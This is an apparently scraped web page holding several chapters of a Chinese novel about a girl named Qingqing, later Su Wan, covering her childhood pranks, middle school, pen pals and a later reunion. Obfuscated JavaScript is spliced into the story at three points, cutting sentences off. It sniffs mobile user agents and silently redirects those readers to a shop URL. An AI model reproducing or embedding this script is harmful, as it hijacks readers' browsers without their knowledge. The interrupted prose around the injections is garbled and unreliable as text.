两个人蹲在那儿,捂着嘴,等着。 过了几秒,那个门铃的喇叭里传出一个声音:“谁啊?” 两个人对视一眼,憋着笑,不说话。 “谁啊?说话啊。” 还是不说话。 那边嘟的一声挂了。 云曦笑得蹲不住了,一屁股坐在地上。清清也笑,笑得肩膀一抖一抖的。 “你太坏了。”清清说。 “你也没拦我。” 两个人笑够了,站起来,继续往前走。 走了一段,清清忽然说:“你说,等我们长大了,还会不会记得这些?” 云曦想了想。 “不知道。应该会吧。” 清清没说话。 那时候她觉得,怎么会不记得呢?后来很多年后,她想起那段日子,想起那些按过的门铃,想起两个人蹲在墙角捂着嘴笑的样子,真的还记得。而且记得很清楚。 那个周末的下午,清清在家写作业,写着写着,听见楼下传来一阵声音。 “嘭——!” 闷闷的,远远的,像什么东西炸了。 清清愣了一下,然后扔下笔,跑到窗口往外看。 楼下空地上,围了一圈人。 人群中间,一个老头正蹲在那儿,面前架着一个黑乎乎的东西。那东西圆圆的,像个大肚子铁葫芦,架在火上,正慢慢转着。 清清的眼睛亮了。 “妈妈!” 她冲出去,跑到厨房门口。母亲正在择菜,被她吓了一跳。 “怎么了?” “那里,爆米花!” 母亲看了她一眼,笑了笑。 “想去?” 清清使劲点头。 母亲站起来,从柜子里舀了一茶缸米,递给她。 “拿去吧。别跑太远。” 清清接过米,撒腿就往人群那里跑。 空地上,人越围越多。清清挤进去,站在最前面,看着那个爆米花的师傅。 师傅是个老头,皮肤黑黑的,手上全是茧子。他坐在一个小马扎上,一只手摇着那个大铁锅,一只手往炉子里添柴。铁锅架在火上,被烤得黑黑的,上面有一个压力表,指针一跳一跳的。 旁边放着一个长长的麻袋,麻袋口套着一个铁丝编的笼子。清清知道,那是接爆米花用的。 “快好了快好了,”师傅喊了一声,“都让开点!” 人群往后退了退。清清也跟着退了两步,但眼睛还是盯着那个铁锅。 师傅站起来,把铁锅从火上拎下来,锅口对准那个麻袋。然后他用一根铁管套住锅盖上的一个机关,用力一撬—— “嘭——!” 一声巨响。白烟腾起来,浓浓的,热热的,带着一股香味。清清被那声音震得耳朵嗡嗡响,但她没退,就站在那儿,看着那些白花花的大米花从麻袋里涌出来,哗啦啦地落进旁边的大盆里。 人群发出一阵欢呼。 清清挤上去,把手里的茶缸递过去。师傅接过来,把米倒进一个量杯里,看了看,然后倒进铁锅里。盖上盖子,又开始摇。 清清蹲在旁边,看着那个铁锅慢慢转。火苗舔着锅底,红红的,一跳一跳的。师傅的手一直摇着,不紧不慢的。 旁边几个邻居家的小孩也在等。邓颖也在,手里也端着一个茶缸,站在清清旁边。 “你也来爆?”邓颖问。 清清点点头。 “咱们打会儿球吧,等着也是等着。” 清清看了一眼那个铁锅,又看了一眼邓颖。 “行。” 两个人跑回家拿了羽毛球拍,回到空地上。邓颖的球拍是木框的,线绷得紧,击球声脆生生的。清清的球拍也是木框的,用得久一些,拍线稍微松了一点儿,打出来的声音闷一点,但还能打。 两个人站好位置,开始打。 打着打着,球飞高了,清清往后退了几步,退得太靠后,球已经越过头顶往下落,她来不及绕到球下面去了。 那一瞬间,她脑子里什么都没想—— 身体往后一仰,右手本能地往下一伸,球拍从两腿中间反手穿过去,迎着下落的球往上一撩。 “啪!” 球被拍面稳稳兜住,划出一道高高的弧线,越过地下的自画白线,落在邓颖身后两三步的地方。 清清愣在那儿,还保持着那个姿势——身体后仰,右腿在前左腿在后,球拍从□□伸出来,悬在半空。 邓颖也愣住了。 旁边那几个择菜的大人也都愣住了。 然后有人噗呲一声笑出来。 “哎呀,清清这丫头!” 清清直起腰,脸一下子红了。她也不知道自己怎么打出来的,就那一瞬间,身体自己动了。 邓颖跑过来,眼睛瞪得圆圆的。 “你怎么接住的?你怎么接住的?” 清清挠挠头:“我也不知道……就……本能反应吧” 那几个择菜的大人还在笑。一个胖胖的阿姨冲她喊:“清清,就凭你这个反应,市二中肯定能考上!” 旁边几个人跟着起哄:“对对对,肯定能考上!” 清清的脸更红了。她低下头,装作整理球拍。 那边,爆米花的师傅喊了一声:“好了!” 她跑过去,把球拍往地上一放,蹲下来看着那个铁锅。 又是“嘭”的一声。 白烟冒起来,香味飘过来。清清抱着那袋热乎乎的爆米花,心里也热乎乎的。 成绩出来那天,清清站 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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边上的云曦也听见了。她往前跨了一步,瞪着那个男生。 “你说什么?” 那男生没说话,但也没走。 云曦的火腾地就上来了。她攥着拳头,往前冲了一步。 “云曦。” 清清拉住她。 云曦回过头,看着她。 “没事。”清清说。 “什么没事?他骂你——” “嘴长在别人身上。”清清说,声音很轻,“让他说去。” 云曦看着她,看了两秒,然后狠狠瞪了那男生一眼,退回来。 清清转回头,继续站着。 校长还在讲话。阳光还是那么晒。她站在那儿,盯着前面一个人的后脑勺,脑子里空空的。 那句话还在。在脑子里转,转了一遍又一遍。 有什么了不起的。以后还不一定能上高中。 她没哭。她不知道自己为什么不哭。就是觉得堵,胸口堵得慌。 散会的时候,人群散开。清清和云曦往校门口走。 走到门口,两个人停下来。 “以后常联系。”清清说。 云曦点点头。 “你八中,我二中,一左一右。”清清说,“也不远。” “嗯。” 清清看着她。 云曦的眼睛有点红,但没哭。 “一定要常联系啊。”清清说。 云曦没说话,伸手抱住了她。 清清也抱住她。 两个人就那么抱着,站在校门口,站在六月的太阳底下。 抱了很久。 旁边有人经过,看了一眼,没说话。 清清松开手,看着她。 云曦也看着她。 “走了。”清清说。 “嗯。” 清清转身,往左边走。 走了几步,她回头看了一眼。 云曦还站在那儿,正看着她。见她回头,冲她挥了挥手。 清清也挥了挥手。 然后她转回头,继续往前走。 太阳很晒,晒得她眼睛有点疼。 她眨了眨,继续走。 48. 苏晚 六年级的暑假是平淡的。 那种平淡不是没事做,是做了很多事,但回过头一想,什么也想不起来。清清每天吃了睡,睡了吃。早上醒来,躺一会儿,爬起来吃早饭。吃完早饭,躺回去,翻几页书,翻着翻着又睡着了。再醒来,中午了。吃完饭,继续躺。下午看会儿电视,傍晚凉快一点的时候出去晃一圈,回来吃晚饭,然后继续看电视,看到眼睛睁不开,睡觉。 一天就这么过去了。第二天再来一遍。 有时候她自己都分不清今天是星期几。 那天下午,清清躺在地板上。 地上铺着一张凉席,竹子的,睡上去凉凉的。她趴在那儿,一只手撑着下巴,一只手拿着勺子,勺子里挖着一大块西瓜。西瓜是冰过的,凉丝丝的,甜滋滋的,咬一口,汁水顺着嘴角往下淌,她用手背擦一下,继续吃。 电视机开着,正放着港剧。 是《大时代》。这段时间电视台在重播,清清每天下午都追着看。屏幕里,刘青云演的方展博正站在交易所里,眼睛红红的,对着电话吼着什么。旁边是蓝洁瑛演的玲姐,瘦瘦的,眼神里带着一股倔强。股票涨跌,家仇恩怨,清清看得半懂不懂,但就是挪不开眼睛。 好看。她也不知道哪儿好看,就是觉得好看。 母亲从厨房出来,手里拿着一本书,走到她旁边,蹲下来。 “清清。” 清清没动,眼睛还盯着电视。屏幕里正在放片尾曲,王菲的声音飘出来。 “给你本书。” 清清嗯了一声,没接。 母亲把那本书放在她脑袋旁边。 “这里面有好多字,你看看,选一个自己喜欢的。” 清清愣了一下,终于把眼睛从电视上挪开,看了一眼那本书。 是一本厚厚的字典。但不是她平时用的那本新华字典。这本大一些,封面是深蓝色的,上面印着几个金字:《汉语大字典》。 “哪来的?”她问。 “借的。”母亲说,“上次跟你说的改名的事,你忘了?得选个字。” 清清没忘。母亲前阵子跟她说过,找人算过了,她五行里缺点什么,名字里最好加个“晚”字。清清也不懂,母亲说好就好,她不排斥。反正私下还是叫清清,只是以后正式场合用那个名字。 “你不是喜欢认字吗?”母亲说,“看看有没有特别喜欢的,选一个。不一定非得那个字,你自己挑也行。” 清清坐起来,把勺子放下,随手翻了翻那本字典。 纸是薄的,有点泛黄,翻起来哗哗响。她翻了几页,停住。 手指落在某一页上。 “这个。” 母亲凑过去看了一眼。 “晚?” 清清点点头。 “为什么选这个?” 清清已经又趴回去了,眼睛重新盯着电视。屏幕上的片尾曲快放完了,下个剧的预告开始。她随口说了一句:“现在不是夜晚?” 母亲愣了一下,然后笑了一声。 “行,就这个吧。” 她把字典收起来,走开了。 清清继续看电视。那个字的事,她转头就忘了。 开学那天,清清背着书包,站在市二中初中部的教学楼前。 楼是新的,比她原来的学校新多了。白色的墙,蓝色的窗户,操场上铺着塑胶跑道,踩上去软软的。她站在那儿,看着这栋楼,心里既紧张又有点兴奋。 她往楼里走。 走廊里全是人。新同学,新面孔,高的矮的男的女的,挤来挤去。有人在找教室,有人在看墙上贴的名单,有人站在那儿发呆。 清清也去看名单。 墙上贴着一排白色的A4纸,纸上印着密密麻麻的名字。她挤进去,一个一个找。 找到初一(1)班的时候,她停住了。 那张纸上,她的名字在那里。 苏晚(苏清清) 清清盯着那个括号,盯着括号前的那两个字。 母亲跟她说过,以后就叫“苏晚”。她不排斥,反正私下还是叫清清。 她抿了抿嘴。 “你也在一班?” 一个声音从旁边传来。清清转过头,看见一张熟悉的脸。 是邻居陈嘉豪,住在她家后面那栋楼。六年级的时候,周末他经常叫她和云曦、邓颖去他家打80分,四个人凑一桌,一打就是一个下午。他学习很好,每次考试都在年级前几名,清清他妈老拿他当榜样念叨。 “陈嘉豪?”清清眨眨眼睛,“你也在这儿?” “嗯,我也一班。”他笑了笑,露出一颗小虎牙,“以后又是同学了。” 清清也笑了。 两个人一起往教室走。走到门口,清清停下来,往里看了一眼。 教室里已经坐了一些人。有的在说话,有的在发呆,有的低头翻着新发的课本。她扫了一眼,目光落在一个女生身上。 那女生坐在靠窗的位置,戴着眼镜,扎着马尾,正低头看一本书。阳光从窗外照进来,落在她身上,把她的侧脸照得亮亮的。她翻书的动作很轻,很慢,像怕惊着什么似的。 清清站在门口,看了她两秒。 “我先进去了。”陈嘉豪说。 清清点点头,跟在他后面走进去。 她在那女生旁边的空位上坐下来。 那女生抬起头,看了她一眼。 清清冲她笑了笑。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17437414|200981||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “你好。” 那女生也笑了笑,点点头。 “你好。” 清清想说什么,但没想好说什么。那女生已经低下头,继续看书了。 清清坐在那儿,偷偷看了她几眼。她长得很好看,不是那种一眼就让人觉得好看的好看,是那种越看越觉得舒服的好看。眼镜是细框的,架在鼻梁上,让她看起来有一种说不出的气质。 清清想,这个人她喜欢。 “同学们。” 一个声音从门口传来。清清抬起头,看见一个女老师站在教室门口,手里拿着一份名单。 “都坐好,我点名。” 大家安静下来,各自坐好。 老师开始点名。她念一个,下面有人应一声。 念到一半的时候,老师念了一个名字。 “林知夏。” 身边的那个女生站起来。 清清看着她,心里默默记住了这个名字。林知夏。好听。 老师继续念。又念了几个,终于念到清清的名字。 “苏晚。” 清清愣了一下。 她没反应过来。 老师又念了一遍:“苏晚?” 清清这才回过神来,赶紧站起来。 “到。” 她的脸有点红。她还不习惯这个名字。以前老师点名都是叫苏清清,现在忽然变成苏晚,她得反应一会儿。 老师看了她一眼,点点头,继续往下念。 清清坐下来,偷偷吐了口气。 林知夏转过头,看了她一眼,笑了笑。那个笑好像是在说:没事,我也经常不习惯别人叫我的全名。 清清也冲她笑了笑。 点完名,老师开始安排座位。她让大家按顺序站起来,一个一个指位置。 清清被指到了第三排靠窗。她走过去,坐下来。往左边一看,林知夏正坐在她旁边,隔着一个过道。 老师继续调。调来调去,调到最后,清清发现,林知夏还是坐在她旁边。 不是隔着过道的那种旁边。是真的旁边,同桌。 清清转过头,看着林知夏。林知夏也正好转过头看她。 “又见面了。”清清说。 林知夏笑了笑。 “嗯。” 清清也笑了。 窗外的阳光照进来,落在两个人的课桌上,亮亮的。 清清忽然想起刚才点名的那个瞬间——苏晚。她还不习惯,但好像也不讨厌。 她转过头,看着窗外。 操场上有人在跑步,有人在打球。新的学校,新的同学,新的名字。 她忽然觉得,这个初中,好像也没那么让人紧张了。 49. 这个世界很大 初一开学没多久,第一次月考就来了。 苏晚从来没觉得考试这么陌生过。小学六年,她闭着眼睛都能把卷子填满,分数虽然不算拔尖,但也不至于让她心慌。 现在。 卷子发下来,她盯着那些题目,字都认识,连起来不知道在问什么。数学的最后两道大题空着,语文的阅读理解写得磕磕绊绊,英语有些单词看着眼熟就是想不起意思。 交卷的时候,她偷偷瞄了一眼旁边——林知夏的卷子写得满满当当,字迹工整得像印上去的。苏晚把自己的卷子翻过去,扣在桌上。 成绩出来那天,苏晚站在公告栏前,从第一名往下找。她一直看到了第三十七名,才看到自己的名字。 全班四十五个人。 她盯着那个数字,脸上没什么表情,手指攥着书包带子,攥得指节发白。旁边有人挤过来看名次,肩膀撞了她一下,她往旁边让了让,眼睛没离开那张纸。 “走吧。” 林知夏站在她身后,声音轻轻的。不像是安慰,倒像是一句陈述。苏晚转过身,看见她那双细框眼镜后面的眼睛。没有同情,没有小心翼翼,就那么看着她,好像在说:站在这儿看再久,数字也不会变。 “嗯。”苏晚说。 两个人往教室走。苏晚走在林知夏旁边,脚步比平时慢半拍。走到楼梯口的时候,苏晚忽然停下来。 “知夏。” 林知夏也停下来,转过头看她。 “嗯?” “你下次月考前……能不能帮我补习?” 林知夏看着她,嘴角慢慢弯起来,不是那种客气的笑,是那种“我等你说这句话等了好久”的笑。 “好。” 周末的时候,苏晚背着书包去林知夏家补习。 林知夏的房间不大,书桌靠窗,台灯是浅绿色的,拉线开关上吊着一截红色的绒线——和苏晚家里那盏一模一样。 两个人挤在书桌前,一人占一半。林知夏讲数学题的时候,把草稿纸铺在两个人中间,笔尖点着纸面,一步一步推。讲到关键的地方,她会停下来,转头看苏晚一眼,确认她跟上了,才继续往下讲。苏晚有时候听懂了,点点头;有时候没听懂,就皱着眉盯着那道题不说话。林知夏也不催,把笔递给她,让她自己试着做一遍,做错了再从头讲。 苏晚自己做题的时候,林知夏就从书架上抽一本书,安安静静地看。她翻书的动作很轻,手指捏着页角,慢慢掀过去,几乎听不见声响。窗外的阳光照进来,落在两个人的肩膀上,落在那盏浅绿色的台灯上,落在摊开的课本和卷了边的草稿纸上。 那段时间,苏晚觉得自己过得特别充实。上课不敢走神了,笔记记得整整齐齐,下课追着林知夏问问题,周末雷打不动去她家补习。成绩慢慢往上爬,从三十七到二十八,从二十八到二十一,再到十五。排名往前挪一格,她就在心里给自己鼓一下劲。 也是那段时间,她发现自己喜欢上了历史课。 历史老师是个老头,戴着一副老花镜,讲课的时候喜欢在讲台上来回踱步。他讲唐朝,讲宋朝,讲那些皇帝和大臣,讲那些打仗和变法。苏晚听着听着,就觉得那些事情好像离她不远。那些人也是人,也会高兴,也会难过,也会做错事。 历史书被她翻得边角卷起来,扉页上写名字的地方蹭花了,里面那些重点段落旁边,她用铅笔画满了线,有的地方还写着小字备注,歪歪扭扭的,挤在正文边上。有时候下课铃响了,她还盯着书发呆,脑子里还在唐朝或者宋朝没回来。 林知夏在旁边收拾课本,把笔一支一支插进笔袋里,拉好拉链,然后转过头看了她一眼。“这么喜欢历史?” 苏晚抬起头,愣了一下,像是被人从很远的地方拽回来。 “还行。” “还行?”林知夏把课本塞进书包里,一只手撑着桌面,侧过身子看她,“你上课那眼神,跟看宝贝似的。” 苏晚张了张嘴,想辩解,但没找到话。她低头看了一眼摊开的历史书,手指搭在页边上,轻轻蹭了蹭那些密密麻麻的铅笔道道。脸有点热。 初二那年,她拿了一次三好学生。 奖状拿回家,母亲接过来看了半天,手指在纸面上轻轻抚了一下,嘴角弯着,没说什么。后来那张奖状被贴在客厅的墙上,和之前那些奖状挨在一起,边角对齐,用透明胶粘了四边。 苏晚站在那儿,看着那张奖状,心里有一点小小的骄傲。 然后她开始看台湾言情小说。 不知道是谁先开始的。班里有个女生从外面租了一本,书页被翻得发软,封面也卷了边,传来传去,传到苏晚手里。她本来只想翻翻,结果一翻开就放不下了。那些故事像糖水,甜得发腻,但就是停不下来。 上课的时候,她把书塞在课本下面,课本立起来,人趴下去,老师一转身,她就低头看两眼。一节课能看完小半本,下课铃响了还舍不得撒手。 有一次没藏好。 语文老师在讲台上讲课文,苏晚低着头看小说,看得太投入,没注意到教室忽然安静了。等她反应过来,一抬头,老师已经站在她桌前。 老师没说话,就伸出手,掌心朝上,等着。 苏晚的脸腾地烧起来。她低下头,把那本书从课本下面抽出来,封面朝上,放在老师手心里——《上错花轿嫁对郎》,封面上画着一个穿嫁衣的姑娘,红盖头掀了一半,露出半张脸。 老师看了一眼封面,推了推眼镜,又看了苏晚一眼。那一眼不凶,但苏晚觉得比骂她一顿还难受。 “下课到我办公室来。” 苏晚坐在那儿,盯着桌面,一节课没再抬过头。书桌里还塞着两本没看完的,她不敢再碰了。 成绩开始往下滑。 初二月考,她从第十名滑到第十五。期中考试,滑到第二十二。期末成绩出来那天,苏晚站在公告栏前,从上面往下看,一直看到第二十九名,才看见自己的名字。 林知夏站在她旁边,没说话。苏晚转过头看她,林知夏把成绩单折起来,塞进口袋里,目光从她脸上划过去,什么也没说。 苏晚也不敢看她。 初三开学,教室换到了四楼。 楼梯比以前多爬两层,走廊也长了一些,站在栏杆边往下看,操场变小了,人也变小了。班主任重新排座位,苏晚被排到靠墙的位置,书桌左边是白墙,右边是过道。后面坐着一个男生,叫周涛,个子不高,成绩中等,平时话不多,偶尔说一句,冷不丁的,能把人逗笑。 开学第一周,大家都在适应新教室新同桌,苏晚趴在桌上,看着窗外发呆。操场上有人在跑步,有人在踢球,有人在操场上走来走去。她盯着那些小得看不清的脸,脑子里空空的。 周涛拿了一张报纸,从后面戳了戳她的背。 苏晚回过头。他把报纸递过来,手指点着中缝那一栏,身子往前探了探,压低声音:“笔友,要不我们也登一个?” 苏晚愣了一下,接过报纸。那是一份全国性的报纸,叫什么她不记得了,只记得纸是灰白色的,字印得密密麻麻,中缝那一栏框了细细的线,写着“交友启事”三个字。下面一排地址和人名,有本省的,有外省的,有的留了学校班级,有的留了家里地址。 “这个怎么登?”她问。 周涛从书包里掏出一张纸,递给她。纸是作业本上撕下来的,边角毛毛的,上面用圆珠笔写了四行字,字迹不大工整,但一笔一画都清楚——“我们是四个初三学生,爱好文学、音乐、旅游,希望能交到志同道合的朋友。来信请寄:XX省XX市XX中学初三(1)班周涛、苏晚、李小萌、张磊。” 苏晚看着那行字里自己的名字,眨眨眼睛。 “行不行?”周涛问。 苏晚点点头。 “行。” 半个月后,周涛拿着一张报纸,从后面戳她的背。苏晚回过头,看见他把报纸往她桌上一拍,手指戳着中缝那一栏,笑得眼睛眯成一条缝。 “登出来了!” 苏晚低头看。那几行字真的在报纸上,黑白的小字,挤在一堆广告和征婚启事中间,不仔细看根本看不见。但她一眼就找到了——周涛、苏晚、李小萌、张磊,四个名字排在一起,像被打印出来的一样规规矩矩。 她盯着自己的名字印在上面,忽然觉得有点不真实。 “会有人写信吗?”她问。 周涛耸耸肩,把报纸抽回去叠好:“不知道,等着呗。” 接下来的一周,学校的收件室疯了。 第一天三封信,第二天七封,第三天十二封。收件室的阿姨是个胖胖的中年妇女,平时坐在窗口有人来取信就指指窗台上的信堆让人自己翻。窗口前排着队,全是来取信的,她一封一封从后面往外拿,拿不及。 苏晚第一次去取信的时候,阿姨从窗口后面探出头,上下打量了她一眼。 “苏晚?” 苏晚点点头。 阿姨转身从后面抱出一摞信,往窗口上一放,胳膊肘撑着台面,看了她一眼。 “你的。” 苏晚愣在那儿。那一摞信,高的矮的,白的黄的,牛皮纸的,普通信纸的,花花绿绿的邮票贴得满满当当。她数了数,十一封。她抱着那摞信往回走,一路上有人看她,她低着头,走得很快,心跳得咚咚响。 第二次去,阿姨已经认识她了。窗口前排着几个人,阿姨看见她,直接冲她招招手。 “又来了?”她从窗口后面站起来,从后面又抱出一摞,“十四封。” 苏晚接过来,抱在怀里。 “谢谢阿姨。” 阿姨摆摆手,嘴角弯着,没说话。 第三次,阿姨干脆不等她开口。苏晚刚走到窗口前面,阿姨就从后面探出头来。 “苏晚,这边。” 苏晚走过去。阿姨把一摞信放在窗口上,然后胳膊肘撑着台面,歪着头看她,笑起来。 “你们到底登了什么?这几天我光收你们的信了,忙都忙不过来。” 苏晚脸有点红。 “就是……笔友。” “笔友?”阿姨笑了一声,声音从喉咙里滚出来,肩膀跟着抖了一下,“笔友能有这么多?我看你们是登了征婚启事吧?” 窗口前面排队的人也跟着笑起来。苏晚的脸更红了,把信往怀里一拢,低着头往外走。 “没……真的是笔友。” 阿姨在后面笑够了,喊了一声:“行了行了,拿走吧,明天还有呢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17437415|200981||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 苏晚抱着信往回走,心跳得比上次还快。 那些信来自五湖四海。东北的信封上贴着雪花的邮票,地址写在信封背面,字迹硬邦邦的,一笔一画都使劲。广东的邮票是木棉花,信封口封得严严实实,拆开的时候撕破了边。四川的信封上写着弯弯扭扭的地址,字迹细细的,挤在一起。她一封一封拆开,看那些陌生人的字迹,看他们写自己的生活,写自己的学校,写自己的梦想。有的人字写得好,有的人写得歪歪扭扭,有的人信纸叠得整整齐齐,有的人随便折两下就塞进去了。 有一封信,地址是本市的。 城东。 苏晚看着那个地址,愣了一下。城东,她家就在城东。那个方向,那条街,那些她从小走到大的路。她把信封翻过来,邮票下面盖着邮戳,是本地的邮局。 她拆开信,里面是一张横格纸,撕得不太齐,字迹很秀气,一行一行排得整整齐齐。信里说,她也在上初三,喜欢看书,喜欢听歌,希望能交到朋友。信的末尾留了一个电话,用括号括起来,前面写着“我家电话”。 苏晚盯着那个电话,盯了很久。 周末,市图书馆门口。 苏晚到的时候,门口已经站了几个人。 她站在台阶下面,一个一个看过去。 三男二女。 男生们站在柱子旁边,有的靠在墙上,有的手插在兜里,互相没怎么说话。个子最高的那个穿着深蓝色运动服,脚上一双白色球鞋,正仰头看着图书馆门上的招牌。旁边那个瘦一些的,戴着棒球帽,帽檐压得很低,手里转着一串钥匙,叮叮当当的。还有一个站在最边上,背着军绿色的帆布包,低着头踢地上的小石子。 女生们聚在台阶上。 一个穿着碎花裙,扎着马尾,正跟旁边那个说话。旁边那个穿着白T恤和牛仔裤,头发披着,侧脸对着苏晚,看不清长什么样。 苏晚走过去。穿碎花裙的女生先看见她,眼睛亮了亮,从台阶上跳下来。 “苏晚?” 苏晚点点头。那女生笑起来,拉过旁边那个穿白T恤的,把她拽到前面来。 “你看,她也来了!” 穿白T恤的转过头。苏晚看见她的脸,愣了一下。那张脸有点眼熟。好像在哪儿见过。 “你是……”苏晚眨眨眼睛。 “林栖,”那女生笑起来,“二班的。” 苏晚想起来了。开学的时候在走廊上见过,她抱着一摞课本从对面走过来,苏晚往旁边让了让,她点了个头,说了句“谢谢”。后来偶尔在学校里碰到,也是点个头,没怎么说过话。 “你们认识?”碎花裙女生看看她俩,目光在两个人脸上来回跳。 “同校,”林栖说,“二中的。” 碎花裙女生“哦”了一声,把手从林栖胳膊上收回来,自己介绍起来:“我叫王晓婷,三中的。”她转身指了指那几个男生——高个子的叫李建,打篮球的,脚上那双白球鞋就是打球穿的;转钥匙的叫孙磊,她小学同学,钥匙在手里又转了一圈,叮当响了一声;踢石子的叫张晨,孙磊带来的。 几个人互相点点头,算是认识了。 “走吧,”孙磊把钥匙收进口袋,手插进去的时候钥匙又响了一下,“不是说爬山吗?” 六个人往城东那座山走。 山不高,石阶一级一级往上,两边的树把阳光切碎了,落在地上斑斑驳驳的。苏晚走在中间,前面是王晓婷和林栖,后面跟着那三个男生。林栖边走边跟她说话,问她在几班,班主任是谁,平时喜欢干什么。她问一句,苏晚答一句,偶尔也反问一句。王晓婷在前面走几步就回头插一句嘴,说完了又转回去。 走到半山腰,苏晚停下来,回头看了一眼。城市在下面,密密麻麻的楼,弯弯曲曲的街,远处的房子小得像积木,叠在一起。她家在哪个方向?她找了一下,没找到。 “看什么呢?” 林栖走回来,站在她旁边,顺着她的目光往山下看。 苏晚指了指下面。 “我家在那边。” 林栖顺着她指的方向看了一眼,眯起眼睛。 “城东?” 苏晚点点头。 “我也是。”林栖笑起来,把手插进牛仔裤口袋里,“以后放学可以一起走。” 苏晚也笑了。 山顶有个亭子,灰白色的水泥柱子,顶上的瓦片缺了两块,能看见一小片天。几个人挤在里面,王晓婷从包里掏出几袋零食,话梅、陈皮、山楂片,分给大家吃。孙磊从口袋里摸出一个随身听,银灰色的,盖子有点松,他拍了拍才卡住。耳机线不够长,几个人轮流听,一个人塞一只耳机,凑在一起,头挨着头。张晨话不多,坐在亭子边上的石凳上,听他们说话,偶尔笑一下,笑的时候帽檐跟着抖一抖。李建靠着亭子的柱子,讲他认识的那些人的事,讲电台里听来的八卦,讲着讲着自己先笑起来。 苏晚坐在石凳上,看着山下的城市。风从山底下吹上来,把她的头发吹起来,拂在脸上,痒痒的。她伸手把头发别到耳后。 她想起那些信,那些陌生人的字迹,想起今天见到的这些人。 这个世界,好像比她想象的大一点。也比她想象的近一点。 50. 重逢 2001年夏天。 市图书馆门口右边那条街,一排小店挤挤挨挨地靠在一起。最中间那家店面不大,两间打通,门口挂着一块手写的招牌——“音像文具”。招牌上的字是红色的油漆描的,风吹日晒褪成淡粉色,边角卷起来一点。 苏晚正站在柜台后面,手里攥着一块抹布,一下一下擦着玻璃台面。台面上摆着几排光碟,封面上印着花花绿绿的电影海报——《哈利波特》那个戴眼镜的小男孩骑着扫帚飞过城堡。她擦到那排碟片跟前,把抹布折个面,把封面上落的灰轻轻蹭掉。 店里开着风扇,摇头晃脑地转着,吹得墙上贴的那些海报边角啪啪响。 左边那面墙是整个店最壮观的地方。从地板到天花板,一排一排的木架子钉得结结实实,架子上密密麻麻码满了光碟。港剧、台剧、日剧、韩剧,还有电影和动画片,按类型分好,每一排都用白色胶布贴着标签——武侠、言情、警匪、喜剧、科幻。有人走进来,站在那面墙跟前,仰着头从上看到下,能看上半天。 右边那面墙是文具。笔、本子、橡皮、尺子、书包、文具盒,挂在架子上,摆在一格一格的柜子里。再往里走,靠墙的角落还有一个小玻璃柜,里面摆着些小玩意儿——陶瓷娃娃、风铃、音乐盒、钥匙扣,都是女孩喜欢的东西。 苏晚初中毕业没考上高中,上了职校。这家店离家就两个街口,经常走这条路去中心广场,那天刚好看到店门口的招人广告。她就也随口问下,老板看中她,她就来了。 上了没几天班,还在熟悉那些碟片的位置。武侠片在哪一排,港剧在哪一格,她每天下班前都要背一遍。 柜台上的电话响了。 苏晚放下抹布,接起来。 “喂,音像文具。” 那头传来一个声音,带着笑,喘着气,像是一路跑过来的。 “清清?” 苏晚愣了一下。 “云曦?” “是我!”云曦的声音亮亮的,“晚上有空没?去唱K?” 苏晚嘴角弯了弯,靠着柜台,把电话夹在耳朵和肩膀之间。 “没空。” “没空?”云曦那边提高了声音,“星期天也没空?” “在店里。” “那我过来找你。”云曦说,“反正离你不远。” 苏晚嗯了一声,准备挂电话,又想起来什么。 “你知道怎么走吗?” “图书馆门口右边那条街嘛,你说过。” “行。” 挂了电话,苏晚把话筒放回去,又拿起抹布,继续擦柜台。 云曦是一年前和她重新联系上的。 初中毕业之后,云曦没再读书。她成绩一般,家里也不太支持,就出来找事做了。在饭馆端过盘子,在服装店卖过衣服。苏晚是逛街的时候碰见她的,两个人站在街边聊了半个下午,留了电话,又慢慢联系上了。 云曦没变,还是那个云曦,说话声音大,笑起来眼睛弯成两道月牙。 苏晚擦着柜台,想着等会儿她来了,得问问她最近怎么样。 “哎,等我一下,我买支笔?” 门外传来一个女声,带着点喘,像是在赶路。 苏晚正蹲在光碟架子底下,把散落的碟片归位。她抬起头,透过几排架子往外看。 店门口站着两个人。一个女生正往里面走,后面跟着一个男的,站在门外没进来。女生穿着件浅蓝色的T恤,头发扎起来,侧脸对着苏晚,正低头在包里翻什么,翻得有点急,包里的东西哗啦哗啦响。 那个侧脸。 苏晚手里的碟片停在半空。 那女生跨进店里,抬起头,目光扫了一圈,径直往右边那面文具墙走过去。脚步轻快,鞋底在水泥地蹭出细细的声响。 苏晚从架子后面站起来,把手里的碟片搁在柜台上。那女生走到文具那面墙跟前,伸手去拿架子上的笔。抽出一支,拔开笔帽,在手指上试了试,又套回去,放回原处。再换一支,再试。 苏晚靠在柜台上,看着她的背影。 “林栖?” 那女生转过身。 两个人隔着几排架子,对视了两秒。 林栖眼睛眨了眨,愣在那儿,手里的笔悬在半空。 “苏晚?” 苏晚从柜台后面绕出来,站在过道中间。 “你怎么在这儿?” 林栖也走过来,手里还攥着那支笔。 “我……学校就在这背后的山上。”她眨眨眼睛,“你在这儿上班?” 苏晚点点头。 “刚来没几天。” 林栖上下打量她一眼,嘴角弯了弯,笑得有点不敢相信。 “好久没见了。” 